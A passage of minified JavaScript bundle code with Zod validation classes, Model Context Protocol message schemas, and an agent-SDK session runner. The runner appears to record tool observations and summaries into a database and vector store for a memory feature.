xt=ae("ZodStringFormat",(t,e)=>{ht.init(t,e),ok.init(t,e)}),H3=ae("ZodEmail",(t,e)=>{Yz.init(t,e),xt.init(t,e)}),L1=ae("ZodGUID",(t,e)=>{Xz.init(t,e),xt.init(t,e)}),Vu=ae("ZodUUID",(t,e)=>{Jz.init(t,e),xt.init(t,e)}),B3=ae("ZodURL",(t,e)=>{Qz.init(t,e),xt.init(t,e)}),V3=ae("ZodEmoji",(t,e)=>{eU.init(t,e),xt.init(t,e)}),Z3=ae("ZodNanoID",(t,e)=>{tU.init(t,e),xt.init(t,e)}),G3=ae("ZodCUID",(t,e)=>{rU.init(t,e),xt.init(t,e)}),W3=ae("ZodCUID2",(t,e)=>{aU.init(t,e),xt.init(t,e)}),K3=ae("ZodULID",(t,e)=>{nU.init(t,e),xt.init(t,e)}),X3=ae("ZodXID",(t,e)=>{sU.init(t,e),xt.init(t,e)}),J3=ae("ZodKSUID",(t,e)=>{iU.init(t,e),xt.init(t,e)}),Y3=ae("ZodIPv4",(t,e)=>{dU.init(t,e),xt.init(t,e)}),Q3=ae("ZodIPv6",(t,e)=>{pU.init(t,e),xt.init(t,e)}),eH=ae("ZodCIDRv4",(t,e)=>{fU.init(t,e),xt.init(t,e)}),tH=ae("ZodCIDRv6",(t,e)=>{mU.init(t,e),xt.init(t,e)}),rH=ae("ZodBase64",(t,e)=>{hU.init(t,e),xt.init(t,e)}),aH=ae("ZodBase64URL",(t,e)=>{gU.init(t,e),xt.init(t,e)}),nH=ae("ZodE164",(t,e)=>{yU.init(t,e),xt.init(t,e)}),sH=ae("ZodJWT",(t,e)=>{bU.init(t,e),xt.init(t,e)}),ck=ae("ZodNumber",(t,e)=>{GT.init(t,e),bt.init(t,e),t.gt=(n,a)=>t.check(D1(n,a)),t.gte=(n,a)=>t.check(Qf(n,a)),t.min=(n,a)=>t.check(Qf(n,a)),t.lt=(n,a)=>t.check(M1(n,a)),t.lte=(n,a)=>t.check(Yf(n,a)),t.max=(n,a)=>t.check(Yf(n,a)),t.int=n=>t.check(F1(n)),t.safe=n=>t.check(F1(n)),t.positive=n=>t.check(D1(0,n)),t.nonnegative=n=>t.check(Qf(0,n)),t.negative=n=>t.check(M1(0,n)),t.nonpositive=n=>t.check(Yf(0,n)),t.multipleOf=(n,a)=>t.check(q1(n,a)),t.step=(n,a)=>t.check(q1(n,a)),t.finite=()=>t;let r=t._zod.bag;t.minValue=Math.max(r.minimum??Number.NEGATIVE_INFINITY,r.exclusiveMinimum??Number.NEGATIVE_INFINITY)??null,t.maxValue=Math.min(r.maximum??Number.POSITIVE_INFINITY,r.exclusiveMaximum??Number.POSITIVE_INFINITY)??null,t.isInt=(r.format??"").includes("int")||Number.isSafeInteger(r.multipleOf??.5),t.isFinite=!0,t.format=r.format??null});function ot(t){return _3(ck,t)}var iH=ae("ZodNumberFormat",(t,e)=>{xU.init(t,e),ck.init(t,e)});function F1(t){return b3(iH,t)}var oH=ae("ZodBoolean",(t,e)=>{wU.init(t,e),bt.init(t,e)});function Ht(t){return x3(oH,t)}var cH=ae("ZodNull",(t,e)=>{SU.init(t,e),bt.init(t,e)});function uk(t){return w3(cH,t)}var uH=ae("ZodUnknown",(t,e)=>{EU.init(t,e),bt.init(t,e)});function Nt(){return S3(uH)}var lH=ae("ZodNever",(t,e)=>{TU.init(t,e),bt.init(t,e)});function dH(t){return E3(lH,t)}var pH=ae("ZodArray",(t,e)=>{kU.init(t,e),bt.init(t,e),t.element=e.element,t.min=(r,n)=>t.check(el(r,n)),t.nonempty=r=>t.check(el(1,r)),t.max=(r,n)=>t.check(KT(r,n)),t.length=(r,n)=>t.check(XT(r,n)),t.unwrap=()=>t.element});function Ze(t,e){return j3(pH,t,e)}var lk=ae("ZodObject",(t,e)=>{$U.init(t,e),bt.init(t,e),ut.defineLazy(t,"shape",()=>e.shape),t.keyof=()=>Bt(Object.keys(t._zod.def.shape)),t.catchall=r=>t.clone({...t._zod.def,catchall:r}),t.passthrough=()=>t.clone({...t._zod.def,catchall:Nt()}),t.loose=()=>t.clone({...t._zod.def,catchall:Nt()}),t.strict=()=>t.clone({...t._zod.def,catchall:dH()}),t.strip=()=>t.clone({...t._zod.def,catchall:void 0}),t.extend=r=>ut.extend(t,r),t.merge=r=>ut.merge(t,r),t.pick=r=>ut.pick(t,r),t.omit=r=>ut.omit(t,r),t.partial=(...r)=>ut.partial(mk,t,r[0]),t.required=(...r)=>ut.required(hk,t,r[0])});function le(t,e){let r={type:"object",get shape(){return ut.assignProp(this,"shape",{...t}),this.shape},...ut.normalizeParams(e)};return new lk(r)}function Fr(t,e){return new lk({type:"object",get shape(){return ut.assignProp(this,"shape",{...t}),this.shape},catchall:Nt(),...ut.normalizeParams(e)})}var dk=ae("ZodUnion",(t,e)=>{WT.init(t,e),bt.init(t,e),t.options=e.options});function vt(t,e){return new dk({type:"union",options:t,...ut.normalizeParams(e)})}var fH=ae("ZodDiscriminatedUnion",(t,e)=>{dk.init(t,e),RU.init(t,e)});function pk(t,e,r){return new fH({type:"union",options:e,discriminator:t,...ut.normalizeParams(r)})}var mH=ae("ZodIntersection",(t,e)=>{PU.init(t,e),bt.init(t,e)});function Am(t,e){return new mH({type:"intersection",left:t,right:e})}var hH=ae("ZodRecord",(t,e)=>{OU.init(t,e),bt.init(t,e),t.keyType=e.keyType,t.valueType=e.valueType});function jt(t,e,r){return new hH({type:"record",keyType:t,valueType:e,...ut.normalizeParams(r)})}var _m=ae("ZodEnum",(t,e)=>{CU.init(t,e),bt.init(t,e),t.enum=e.entries,t.options=Object.values(e.entries);let r=new Set(Object.keys(e.entries));t.extract=(n,a)=>{let s={};for(let i of n)if(r.has(i))s[i]=e.entries[i];else throw new Error(`Key ${i} not found in enum`);return new _m({...e,checks:[],...ut.normalizeParams(a),entries:s})},t.exclude=(n,a)=>{let s={...e.entries};for(let i of n)if(r.has(i))delete s[i];else throw new Error(`Key ${i} not found in enum`);return new _m({...e,checks:[],...ut.normalizeParams(a),entries:s})}});function Bt(t,e){let r=Array.isArray(t)?Object.fromEntries(t.map(n=>[n,n])):t;return new _m({type:"enum",entries:r,...ut.normalizeParams(e)})}var vH=ae("ZodLiteral",(t,e)=>{IU.init(t,e),bt.init(t,e),t.values=new Set(e.values),Object.defineProperty(t,"value",{get(){if(e.values.length>1)throw new Error("This schema contains multiple valid literal values. Use `.values` instead.");return e.values[0]}})});function Se(t,e){return new vH({type:"literal",values:Array.isArray(t)?t:[t],...ut.normalizeParams(e)})}var gH=ae("ZodTransform",(t,e)=>{AU.init(t,e),bt.init(t,e),t._zod.parse=(r,n)=>{r.addIssue=s=>{if(typeof s=="string")r.issues.push(ut.issue(s,r.value,e));else{let i=s;i.fatal&&(i.continue=!1),i.code??(i.code="custom"),i.input??(i.input=r.value),i.inst??(i.inst=t),i.continue??(i.continue=!0),r.issues.push(ut.issue(i))}};let a=e.transform(r.value,r);return a instanceof Promise?a.then(s=>(r.value=s,r)):(r.value=a,r)}});function fk(t){return new gH({type:"transform",transform:t})}var mk=ae("ZodOptional",(t,e)=>{NU.init(t,e),bt.init(t,e),t.unwrap=()=>t._zod.def.innerType});function we(t){return new mk({type:"optional",innerType:t})}var yH=ae("ZodNullable",(t,e)=>{jU.init(t,e),bt.init(t,e),t.unwrap=()=>t._zod.def.innerType});function z1(t){return new yH({type:"nullable",innerType:t})}var _H=ae("ZodDefault",(t,e)=>{MU.init(t,e),bt.init(t,e),t.unwrap=()=>t._zod.def.innerType,t.removeDefault=t.unwrap});function bH(t,e){return new _H({type:"default",innerType:t,get defaultValue(){return typeof e=="function"?e():e}})}var xH=ae("ZodPrefault",(t,e)=>{DU.init(t,e),bt.init(t,e),t.unwrap=()=>t._zod.def.innerType});function wH(t,e){return new xH({type:"prefault",innerType:t,get defaultValue(){return typeof e=="function"?e():e}})}var hk=ae("ZodNonOptional",(t,e)=>{qU.init(t,e),bt.init(t,e),t.unwrap=()=>t._zod.def.innerType});function SH(t,e){return new hk({type:"nonoptional",innerType:t,...ut.normalizeParams(e)})}var EH=ae("ZodCatch",(t,e)=>{LU.init(t,e),bt.init(t,e),t.unwrap=()=>t._zod.def.innerType,t.removeCatch=t.unwrap});function TH(t,e){return new EH({type:"catch",innerType:t,catchValue:typeof e=="function"?e:()=>e})}var kH=ae("ZodPipe",(t,e)=>{FU.init(t,e),bt.init(t,e),t.in=e.in,t.out=e.out});function bm(t,e){return new kH({type:"pipe",in:t,out:e})}var $H=ae("ZodReadonly",(t,e)=>{zU.init(t,e),bt.init(t,e)});function RH(t){return new $H({type:"readonly",innerType:t})}var vk=ae("ZodCustom",(t,e)=>{UU.init(t,e),bt.init(t,e)});function PH(t,e){let r=new ir({check:"custom",...ut.normalizeParams(e)});return r._zod.check=t,r}function OH(t,e){return M3(vk,t??(()=>!0),e)}function CH(t,e={}){return D3(vk,t,e)}function IH(t,e){let r=PH(n=>(n.addIssue=a=>{if(typeof a=="string")n.issues.push(ut.issue(a,n.value,r._zod.def));else{let s=a;s.fatal&&(s.continue=!1),s.code??(s.code="custom"),s.input??(s.input=n.value),s.inst??(s.inst=r),s.continue??(s.continue=!r._zod.def.abort),n.issues.push(ut.issue(s))}},t(n.value,n)),e);return r}function gk(t,e){return bm(fk(t),e)}_a(VU());var Nm="io.modelcontextprotocol/related-task",_l="2.0",aa=OH(t=>t!==null&&(typeof t=="object"||typeof t=="function")),yk=vt([te(),ot().int()]),_k=te(),AH=Fr({ttl:vt([ot(),uk()]).optional(),pollInterval:ot().optional()}),jm=Fr({taskId:te()}),NH=Fr({progressToken:yk.optional(),[Nm]:jm.optional()}),or=Fr({task:AH.optional(),_meta:NH.optional()}),Ft=le({method:te(),params:or.optional()}),qn=Fr({_meta:le({[Nm]:we(jm)}).passthrough().optional()}),Pr=le({method:te(),params:qn.optional()}),Vt=Fr({_meta:Fr({[Nm]:jm.optional()}).optional()}),bl=vt([te(),ot().int()]),jH=le({jsonrpc:Se(_l),id:bl,...Ft.shape}).strict();var MH=le({jsonrpc:Se(_l),...Pr.shape}).strict();var DH=le({jsonrpc:Se(_l),id:bl,result:Vt}).strict();var U1;(function(t){t[t.ConnectionClosed=-32e3]="ConnectionClosed",t[t.RequestTimeout=-32001]="RequestTimeout",t[t.ParseError=-32700]="ParseError",t[t.InvalidRequest=-32600]="InvalidRequest",t[t.MethodNotFound=-32601]="MethodNotFound",t[t.InvalidParams=-32602]="InvalidParams",t[t.InternalError=-32603]="InternalError",t[t.UrlElicitationRequired=-32042]="UrlElicitationRequired"})(U1||(U1={}));var qH=le({jsonrpc:Se(_l),id:bl,error:le({code:ot().int(),message:te(),data:we(Nt())})}).strict();var lJ=vt([jH,MH,DH,qH]),bk=Vt.strict(),LH=qn.extend({requestId:bl,reason:te().optional()}),xk=Pr.extend({method:Se("notifications/cancelled"),params:LH}),FH=le({src:te(),mimeType:te().optional(),sizes:Ze(te()).optional()}),Io=le({icons:Ze(FH).optional()}),ti=le({name:te(),title:te().optional()}),wk=ti.extend({...ti.shape,...Io.shape,version:te(),websiteUrl:te().optional()}),zH=Am(le({applyDefaults:Ht().optional()}),jt(te(),Nt())),UH=gk(t=>t&&typeof t=="object"&&!Array.isArray(t)&&Object.keys(t).length===0?{form:{}}:t,Am(le({form:zH.optional(),url:aa.optional()}),jt(te(),Nt()).optional())),HH=le({list:we(le({}).passthrough()),cancel:we(le({}).passthrough()),requests:we(le({sampling:we(le({createMessage:we(le({}).passthrough())}).passthrough()),elicitation:we(le({create:we(le({}).passthrough())}).passthrough())}).passthrough())}).passthrough(),BH=le({list:we(le({}).passthrough()),cancel:we(le({}).passthrough()),requests:we(le({tools:we(le({call:we(le({}).passthrough())}).passthrough())}).passthrough())}).passthrough(),VH=le({experimental:jt(te(),aa).optional(),sampling:le({context:aa.optional(),tools:aa.optional()}).optional(),elicitation:UH.optional(),roots:le({listChanged:Ht().optional()}).optional(),tasks:we(HH)}),ZH=or.extend({protocolVersion:te(),capabilities:VH,clientInfo:wk}),GH=Ft.extend({method:Se("initialize"),params:ZH}),WH=le({experimental:jt(te(),aa).optional(),logging:aa.optional(),completions:aa.optional(),prompts:we(le({listChanged:we(Ht())})),resources:le({subscribe:Ht().optional(),listChanged:Ht().optional()}).optional(),tools:le({listChanged:Ht().optional()}).optional(),tasks:we(BH)}).passthrough(),KH=Vt.extend({protocolVersion:te(),capabilities:WH,serverInfo:wk,instructions:te().optional()}),XH=Pr.extend({method:Se("notifications/initialized")}),Sk=Ft.extend({method:Se("ping")}),JH=le({progress:ot(),total:we(ot()),message:we(te())}),YH=le({...qn.shape,...JH.shape,progressToken:yk}),Ek=Pr.extend({method:Se("notifications/progress"),params:YH}),QH=or.extend({cursor:_k.optional()}),Ao=Ft.extend({params:QH.optional()}),No=Vt.extend({nextCursor:we(_k)}),jo=le({taskId:te(),status:Bt(["working","input_required","completed","failed","cancelled"]),ttl:vt([ot(),uk()]),createdAt:te(),lastUpdatedAt:te(),pollInterval:we(ot()),statusMessage:we(te())}),Tk=Vt.extend({task:jo}),eB=qn.merge(jo),kk=Pr.extend({method:Se("notifications/tasks/status"),params:eB}),$k=Ft.extend({method:Se("tasks/get"),params:or.extend({taskId:te()})}),Rk=Vt.merge(jo),Pk=Ft.extend({method:Se("tasks/result"),params:or.extend({taskId:te()})}),Ok=Ao.extend({method:Se("tasks/list")}),Ck=No.extend({tasks:Ze(jo)}),dJ=Ft.extend({method:Se("tasks/cancel"),params:or.extend({taskId:te()})}),pJ=Vt.merge(jo),Ik=le({uri:te(),mimeType:we(te()),_meta:jt(te(),Nt()).optional()}),Ak=Ik.extend({text:te()}),Mm=te().refine(t=>{try{return atob(t),!0}catch{return!1}},{message:"Invalid Base64 string"}),Nk=Ik.extend({blob:Mm}),oi=le({audience:Ze(Bt(["user","assistant"])).optional(),priority:ot().min(0).max(1).optional(),lastModified:JT.datetime({offset:!0}).optional()}),jk=le({...ti.shape,...Io.shape,uri:te(),description:we(te()),mimeType:we(te()),annotations:oi.optional(),_meta:we(Fr({}))}),tB=le({...ti.shape,...Io.shape,uriTemplate:te(),description:we(te()),mimeType:we(te()),annotations:oi.optional(),_meta:we(Fr({}))}),rB=Ao.extend({method:Se("resources/list")}),aB=No.extend({resources:Ze(jk)}),nB=Ao.extend({method:Se("resources/templates/list")}),sB=No.extend({resourceTemplates:Ze(tB)}),Dm=or.extend({uri:te()}),iB=Dm,oB=Ft.extend({method:Se("resources/read"),params:iB}),cB=Vt.extend({contents:Ze(vt([Ak,Nk]))}),uB=Pr.extend({method:Se("notifications/resources/list_changed")}),lB=Dm,dB=Ft.extend({method:Se("resources/subscribe"),params:lB}),pB=Dm,fB=Ft.extend({method:Se("resources/unsubscribe"),params:pB}),mB=qn.extend({uri:te()}),hB=Pr.extend({method:Se("notifications/resources/updated"),params:mB}),vB=le({name:te(),description:we(te()),required:we(Ht())}),gB=le({...ti.shape,...Io.shape,description:we(te()),arguments:we(Ze(vB)),_meta:we(Fr({}))}),yB=Ao.extend({method:Se("prompts/list")}),_B=No.extend({prompts:Ze(gB)}),bB=or.extend({name:te(),arguments:jt(te(),te()).optional()}),xB=Ft.extend({method:Se("prompts/get"),params:bB}),qm=le({type:Se("text"),text:te(),annotations:oi.optional(),_meta:jt(te(),Nt()).optional()}),Lm=le({type:Se("image"),data:Mm,mimeType:te(),annotations:oi.optional(),_meta:jt(te(),Nt()).optional()}),Fm=le({type:Se("audio"),data:Mm,mimeType:te(),annotations:oi.optional(),_meta:jt(te(),Nt()).optional()}),wB=le({type:Se("tool_use"),name:te(),id:te(),input:le({}).passthrough(),_meta:we(le({}).passthrough())}).passthrough(),SB=le({type:Se("resource"),resource:vt([Ak,Nk]),annotations:oi.optional(),_meta:jt(te(),Nt()).optional()}),EB=jk.extend({type:Se("resource_link")}),zm=vt([qm,Lm,Fm,EB,SB]),TB=le({role:Bt(["user","assistant"]),content:zm}),kB=Vt.extend({description:we(te()),messages:Ze(TB)}),$B=Pr.extend({method:Se("notifications/prompts/list_changed")}),RB=le({title:te().optional(),readOnlyHint:Ht().optional(),destructiveHint:Ht().optional(),idempotentHint:Ht().optional(),openWorldHint:Ht().optional()}),PB=le({taskSupport:Bt(["required","optional","forbidden"]).optional()}),Mk=le({...ti.shape,...Io.shape,description:te().optional(),inputSchema:le({type:Se("object"),properties:jt(te(),aa).optional(),required:Ze(te()).optional()}).catchall(Nt()),outputSchema:le({type:Se("object"),properties:jt(te(),aa).optional(),required:Ze(te()).optional()}).catchall(Nt()).optional(),annotations:we(RB),execution:we(PB),_meta:jt(te(),Nt()).optional()}),OB=Ao.extend({method:Se("tools/list")}),CB=No.extend({tools:Ze(Mk)}),Dk=Vt.extend({content:Ze(zm).default([]),structuredContent:jt(te(),Nt()).optional(),isError:we(Ht())}),fJ=Dk.or(Vt.extend({toolResult:Nt()})),IB=or.extend({name:te(),arguments:we(jt(te(),Nt()))}),AB=Ft.extend({method:Se("tools/call"),params:IB}),NB=Pr.extend({method:Se("notifications/tools/list_changed")}),qk=Bt(["debug","info","notice","warning","error","critical","alert","emergency"]),jB=or.extend({level:qk}),MB=Ft.extend({method:Se("logging/setLevel"),params:jB}),DB=qn.extend({level:qk,logger:te().optional(),data:Nt()}),qB=Pr.extend({method:Se("notifications/message"),params:DB}),LB=le({name:te().optional()}),FB=le({hints:we(Ze(LB)),costPriority:we(ot().min(0).max(1)),speedPriority:we(ot().min(0).max(1)),intelligencePriority:we(ot().min(0).max(1))}),zB=le({mode:we(Bt(["auto","required","none"]))}),UB=le({type:Se("tool_result"),toolUseId:te().describe("The unique identifier for the corresponding tool call."),content:Ze(zm).default([]),structuredContent:le({}).passthrough().optional(),isError:we(Ht()),_meta:we(le({}).passthrough())}).passthrough(),HB=pk("type",[qm,Lm,Fm]),tl=pk("type",[qm,Lm,Fm,wB,UB]),BB=le({role:Bt(["user","assistant"]),content:vt([tl,Ze(tl)]),_meta:we(le({}).passthrough())}).passthrough(),VB=or.extend({messages:Ze(BB),modelPreferences:FB.optional(),systemPrompt:te().optional(),includeContext:Bt(["none","thisServer","allServers"]).optional(),temperature:ot().optional(),maxTokens:ot().int(),stopSequences:Ze(te()).optional(),metadata:aa.optional(),tools:we(Ze(Mk)),toolChoice:we(zB)}),ZB=Ft.extend({method:Se("sampling/createMessage"),params:VB}),GB=Vt.extend({model:te(),stopReason:we(Bt(["endTurn","stopSequence","maxTokens"]).or(te())),role:Bt(["user","assistant"]),content:HB}),WB=Vt.extend({model:te(),stopReason:we(Bt(["endTurn","stopSequence","maxTokens","toolUse"]).or(te())),role:Bt(["user","assistant"]),content:vt([tl,Ze(tl)])}),KB=le({type:Se("boolean"),title:te().optional(),description:te().optional(),default:Ht().optional()}),XB=le({type:Se("string"),title:te().optional(),description:te().optional(),minLength:ot().optional(),maxLength:ot().optional(),format:Bt(["email","uri","date","date-time"]).optional(),default:te().optional()}),JB=le({type:Bt(["number","integer"]),title:te().optional(),description:te().optional(),minimum:ot().optional(),maximum:ot().optional(),default:ot().optional()}),YB=le({type:Se("string"),title:te().optional(),description:te().optional(),enum:Ze(te()),default:te().optional()}),QB=le({type:Se("string"),title:te().optional(),description:te().optional(),oneOf:Ze(le({const:te(),title:te()})),default:te().optional()}),e7=le({type:Se("string"),title:te().optional(),description:te().optional(),enum:Ze(te()),enumNames:Ze(te()).optional(),default:te().optional()}),t7=vt([YB,QB]),r7=le({type:Se("array"),title:te().optional(),description:te().optional(),minItems:ot().optional(),maxItems:ot().optional(),items:le({type:Se("string"),enum:Ze(te())}),default:Ze(te()).optional()}),a7=le({type:Se("array"),title:te().optional(),description:te().optional(),minItems:ot().optional(),maxItems:ot().optional(),items:le({anyOf:Ze(le({const:te(),title:te()}))}),default:Ze(te()).optional()}),n7=vt([r7,a7]),s7=vt([e7,t7,n7]),i7=vt([s7,KB,XB,JB]),o7=or.extend({mode:Se("form").optional(),message:te(),requestedSchema:le({type:Se("object"),properties:jt(te(),i7),required:Ze(te()).optional()})}),c7=or.extend({mode:Se("url"),message:te(),elicitationId:te(),url:te().url()}),u7=vt([o7,c7]),l7=Ft.extend({method:Se("elicitation/create"),params:u7}),d7=qn.extend({elicitationId:te()}),p7=Pr.extend({method:Se("notifications/elicitation/complete"),params:d7}),f7=Vt.extend({action:Bt(["accept","decline","cancel"]),content:gk(t=>t===null?void 0:t,jt(te(),vt([te(),ot(),Ht(),Ze(te())])).optional())}),m7=le({type:Se("ref/resource"),uri:te()}),h7=le({type:Se("ref/prompt"),name:te()}),v7=or.extend({ref:vt([h7,m7]),argument:le({name:te(),value:te()}),context:le({arguments:jt(te(),te()).optional()}).optional()}),g7=Ft.extend({method:Se("completion/complete"),params:v7});var y7=Vt.extend({completion:Fr({values:Ze(te()).max(100),total:we(ot().int()),hasMore:we(Ht())})}),_7=le({uri:te().startsWith("file://"),name:te().optional(),_meta:jt(te(),Nt()).optional()}),b7=Ft.extend({method:Se("roots/list")}),x7=Vt.extend({roots:Ze(_7)}),w7=Pr.extend({method:Se("notifications/roots/list_changed")}),mJ=vt([Sk,GH,g7,MB,xB,yB,rB,nB,oB,dB,fB,AB,OB,$k,Pk,Ok]),hJ=vt([xk,Ek,XH,w7,kk]),vJ=vt([bk,GB,WB,f7,x7,Rk,Ck,Tk]),gJ=vt([Sk,ZB,l7,b7,$k,Pk,Ok]),yJ=vt([xk,Ek,qB,hB,uB,NB,$B,kk,p7]),_J=vt([bk,KH,y7,kB,_B,aB,sB,cB,Dk,CB,Rk,Ck,Tk]);var bJ=Symbol("Let zodToJsonSchema decide on which parser to use");var xJ=new Set("ABCDEFGHIJKLMNOPQRSTUVXYZabcdefghijklmnopqrstuvxyz0123456789");var wJ=B1(cL(),1),SJ=B1(r6(),1);var EJ=Symbol.for("mcp.completable");var H1;(function(t){t.Completable="McpCompletable"})(H1||(H1={}));function Lk({prompt:t,options:e}){let{systemPrompt:r,settingSources:n,sandbox:a,...s}=e??{},i,o;r===void 0?i="":typeof r=="string"?i=r:r.type==="preset"&&(o=r.append);let c=s.pathToClaudeCodeExecutable;if(!c){let G=(0,aT.fileURLToPath)(S7.url),ee=(0,tm.join)(G,"..");c=(0,tm.join)(ee,"cli.js")}process.env.CLAUDE_AGENT_SDK_VERSION="0.1.75";let{abortController:u=sT(),additionalDirectories:l=[],agents:d,allowedTools:f=[],betas:m,canUseTool:g,continue:b,cwd:p,disallowedTools:h=[],tools:y,env:v,executable:_=xT()?"bun":"node",executableArgs:S=[],extraArgs:x={},fallbackModel:E,enableFileCheckpointing:T,forkSession:$,hooks:N,includePartialMessages:j,persistSession:q,maxThinkingTokens:H,maxTurns:A,maxBudgetUsd:W,mcpServers:oe,model:he,outputFormat:ne,permissionMode:re="default",allowDangerouslySkipPermissions:F=!1,permissionPromptToolName:R,plugins:z,resume:I,resumeSessionAt:w,stderr:k,strictMcpConfig:M}=s,K=ne?.type==="json_schema"?ne.schema:void 0,J=v;if(J||(J={...process.env}),J.CLAUDE_CODE_ENTRYPOINT||(J.CLAUDE_CODE_ENTRYPOINT="sdk-ts"),T&&(J.CLAUDE_CODE_ENABLE_SDK_FILE_CHECKPOINTING="true"),!c)throw new Error("pathToClaudeCodeExecutable is required");let de={},se=new Map;if(oe)for(let[G,ee]of Object.entries(oe))ee.type==="sdk"&&"instance"in ee?(se.set(G,ee.instance),de[G]={type:"sdk",name:G}):de[G]=ee;let me=typeof t=="string",O=new am({abortController:u,additionalDirectories:l,betas:m,cwd:p,executable:_,executableArgs:S,extraArgs:x,pathToClaudeCodeExecutable:c,env:J,forkSession:$,stderr:k,maxThinkingTokens:H,maxTurns:A,maxBudgetUsd:W,model:he,fallbackModel:E,jsonSchema:K,permissionMode:re,allowDangerouslySkipPermissions:F,permissionPromptToolName:R,continueConversation:b,resume:I,resumeSessionAt:w,settingSources:n??[],allowedTools:f,disallowedTools:h,tools:y,mcpServers:de,strictMcpConfig:M,canUseTool:!!g,hooks:!!N,includePartialMessages:j,persistSession:q,plugins:z,sandbox:a,spawnClaudeCodeProcess:s.spawnClaudeCodeProcess}),C={systemPrompt:i,appendSystemPrompt:o,agents:d},L=new im(O,me,g,N,u,se,K,C);return typeof t=="string"?O.write(JSON.stringify({type:"user",session_id:"",message:{role:"user",content:[{type:"text",text:t}]},parent_tool_use_id:null})+` +`):L.streamInput(t),L}var xl=class{dbManager;sessionManager;constructor(e,r){this.dbManager=e,this.sessionManager=r}async startSession(e,r){try{let n=this.findClaudeExecutable(),a=this.getModelId(),s=["Bash","Read","Write","Edit","Grep","Glob","WebFetch","WebSearch","Task","NotebookEdit","AskUserQuestion","TodoWrite"],i=this.createMessageGenerator(e),o=Lk({prompt:i,options:{model:a,disallowedTools:s,abortController:e.abortController,pathToClaudeCodeExecutable:n}});for await(let u of o){if(u.type==="assistant"){let l=u.message.content,d=Array.isArray(l)?l.filter(p=>p.type==="text").map(p=>p.text).join(` +`):typeof l=="string"?l:"",f=d.length,m=e.cumulativeInputTokens+e.cumulativeOutputTokens,g=u.message.usage;g&&(e.cumulativeInputTokens+=g.input_tokens||0,e.cumulativeOutputTokens+=g.output_tokens||0,g.cache_creation_input_tokens&&(e.cumulativeInputTokens+=g.cache_creation_input_tokens),U.debug("SDK","Token usage captured",{sessionId:e.sessionDbId,inputTokens:g.input_tokens,outputTokens:g.output_tokens,cacheCreation:g.cache_creation_input_tokens||0,cacheRead:g.cache_read_input_tokens||0,cumulativeInput:e.cumulativeInputTokens,cumulativeOutput:e.cumulativeOutputTokens}));let b=e.cumulativeInputTokens+e.cumulativeOutputTokens-m;if(f>0){let p=f>100?d.substring(0,100)+"...":d;U.dataOut("SDK",`Response received (${f} chars)`,{sessionId:e.sessionDbId,promptNumber:e.lastPromptNumber},p),await this.processSDKResponse(e,d,r,b)}else await this.markMessagesProcessed(e,r)}u.type==="result"&&u.subtype}let c=Date.now()-e.startTime;U.success("SDK","Agent completed",{sessionId:e.sessionDbId,duration:`${(c/1e3).toFixed(1)}s`}),this.dbManager.getSessionStore().markSessionCompleted(e.sessionDbId)}catch(n){throw n.name==="AbortError"?U.warn("SDK","Agent aborted",{sessionId:e.sessionDbId}):U.failure("SDK","Agent error",{sessionDbId:e.sessionDbId},n),n}finally{this.sessionManager.deleteSession(e.sessionDbId).catch(()=>{})}}async*createMessageGenerator(e){let r=$t.getInstance().getActiveMode();yield{type:"user",message:{role:"user",content:e.lastPromptNumber===1?c1(e.project,e.claudeSessionId,e.userPrompt,r):d1(e.userPrompt,e.lastPromptNumber,e.claudeSessionId,r)},session_id:e.claudeSessionId,parent_tool_use_id:null,isSynthetic:!0};for await(let n of this.sessionManager.getMessageIterator(e.sessionDbId))n.type==="observation"?(n.prompt_number!==void 0&&(e.lastPromptNumber=n.prompt_number),yield{type:"user",message:{role:"user",content:u1({id:0,tool_name:n.tool_name,tool_input:JSON.stringify(n.tool_input),tool_output:JSON.stringify(n.tool_response),created_at_epoch:Date.now(),cwd:n.cwd})},session_id:e.claudeSessionId,parent_tool_use_id:null,isSynthetic:!0}):n.type==="summarize"&&(yield{type:"user",message:{role:"user",content:l1({id:e.sessionDbId,sdk_session_id:e.sdkSessionId,project:e.project,user_prompt:e.userPrompt,last_user_message:n.last_user_message||"",last_assistant_message:n.last_assistant_message||""},r)},session_id:e.claudeSessionId,parent_tool_use_id:null,isSynthetic:!0})}async processSDKResponse(e,r,n,a){let s=i1(r,e.claudeSessionId);for(let o of s){let{id:c,createdAtEpoch:u}=this.dbManager.getSessionStore().storeObservation(e.claudeSessionId,e.project,o,e.lastPromptNumber,a);U.info("SDK","Observation saved",{sessionId:e.sessionDbId,obsId:c,type:o.type,title:o.title||"(untitled)",filesRead:o.files_read?.length??0,filesModified:o.files_modified?.length??0,concepts:o.concepts?.length??0});let l=Date.now(),d=o.type,f=o.title||"(untitled)";this.dbManager.getChromaSync().syncObservation(c,e.claudeSessionId,e.project,o,e.lastPromptNumber,u,a).then(()=>{let m=Date.now()-l;U.debug("CHROMA","Observation synced",{obsId:c,duration:`${m}ms`,type:d,title:f})}),n&&n.sseBroadcaster&&n.sseBroadcaster.broadcast({type:"new_observation",observation:{id:c,sdk_session_id:e.sdkSessionId,session_id:e.claudeSessionId,type:o.type,title:o.title,subtitle:o.subtitle,text:o.text||null,narrative:o.narrative||null,facts:JSON.stringify(o.facts||[]),concepts:JSON.stringify(o.concepts||[]),files_read:JSON.stringify(o.files||[]),files_modified:JSON.stringify([]),project:e.project,prompt_number:e.lastPromptNumber,created_at_epoch:u}})}let i=o1(r,e.sessionDbId);if(i){let{id:o,createdAtEpoch:c}=this.dbManager.getSessionStore().storeSummary(e.claudeSessionId,e.project,i,e.lastPromptNumber,a);U.info("SDK","Summary saved",{sessionId:e.sessionDbId,summaryId:o,request:i.request||"(no request)",hasCompleted:!!i.completed,hasNextSteps:!!i.next_steps});let u=Date.now(),l=i.request||"(no request)";this.dbManager.getChromaSync().syncSummary(o,e.claudeSessionId,e.project,i,e.lastPromptNumber,c,a).then(()=>{let d=Date.now()-u;U.debug("CHROMA","Summary synced",{summaryId:o,duration:`${d}ms`,request:l})}),n&&n.sseBroadcaster&&n.sseBroadcaster.broadcast({type:"new_summary",summary:{id:o,session_id:e.claudeSessionId,request:i.request,investigated:i.investigated,learned:i.learned,completed:i.completed,next_steps:i.next_steps,notes:i.notes,project:e.project,prompt_number:e.lastPromptNumber,created_at_epoch:c}})}await this.markMessagesProcessed(e,n)}async markMessagesProcessed(e,r){let n=this.sessionManager.getPendingMessageStore();if(e.pendingProcessingIds.size>0){for(let s of e.pendingProcessingIds)n.markProcessed(s);U.debug("SDK","Messages marked as processed",{sessionId:e.sessionDbId,messageIds:Array.from(e.pendingProcessingIds),count:e.pendingProcessingIds.size}),e.pendingProcessingIds.clear();let 